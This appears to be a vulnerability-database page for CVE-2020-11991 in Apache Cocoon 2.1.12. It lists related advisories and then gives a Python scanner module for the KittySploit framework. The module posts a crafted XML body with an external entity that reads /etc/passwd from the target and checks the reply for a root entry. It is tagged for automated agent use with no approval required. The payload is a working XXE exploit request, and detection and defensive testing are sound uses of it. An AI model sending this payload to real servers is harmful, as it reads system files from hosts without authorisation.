Apache Cocoon 2.1.12 - XML Injection Detection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2020-11991 | 9 Dec 202400:00 | – | circl | |
| CVE-2020-11991 | 11 Sep 202013:28 | – | cve | |
| CVE-2020-11991 | 11 Sep 202013:28 | – | cvelist | |
| Apache Cocoon 2.1.12 - XML Injection | 17 Oct 202602:05 | – | nuclei | |
| CVE-2020-11991 | 11 Sep 202014:15 | – | nvd | |
| CVE-2020-11991 | 11 Sep 202014:15 | – | osv_cve | |
| Information disclosure | 11 Sep 202014:15 | – | prion | |
| PT-2020-12970 | 11 Sep 202000:00 | – | ptsecurity | |
| CVE-2020-11991: Improper Restriction of XML External Entity Reference | 11 Sep 202000:00 | – | rapid7 | |
| CVE-2020-11991 | 22 May 202515:50 | – | redhatcve |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Apache Cocoon 2."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Apache Cocoon 2.1.12 - XML Injection Detection',
'description': 'Apache Cocoon 2.1.12 is susceptible to XML injection. When using the StreamGenerator, the code parses a user-provided XML. A specially crafted XML, including external system entities, can be used to access any file on the server system.',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2020', 'apache', 'xml', 'cocoon', 'xxe', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://lists.apache.org/thread/6xg5j4knfczwdhggo3t95owqzol37k1b',
'https://nvd.nist.gov/vuln/detail/CVE-2020-11991',
'https://lists.apache.org/thread.html/r77add973ea521185e1a90aca00ba9dae7caa8d8b944d92421702bb54%40%3Cusers.cocoon.apache.org%3E',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/H4ckTh3W0r1d/Goby_POC',
],
'cve': 'CVE-2020-11991',
}
def run(self):
path = '/v2/api/product/manger/getInfo'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'text/xml'}, data='<!--?xml version="1.0" ?-->\n<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>\n<userInfo>\n<firstName>John</firstName>\n<lastName>&ent;</lastName>\n</userInfo>\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if any(re.search(rx, body) for rx in body_regexes):
self.set_info(
severity='high',
reason='Apache Cocoon 2.1.12 - XML Injection detected',
path=path,
)
return True
return False
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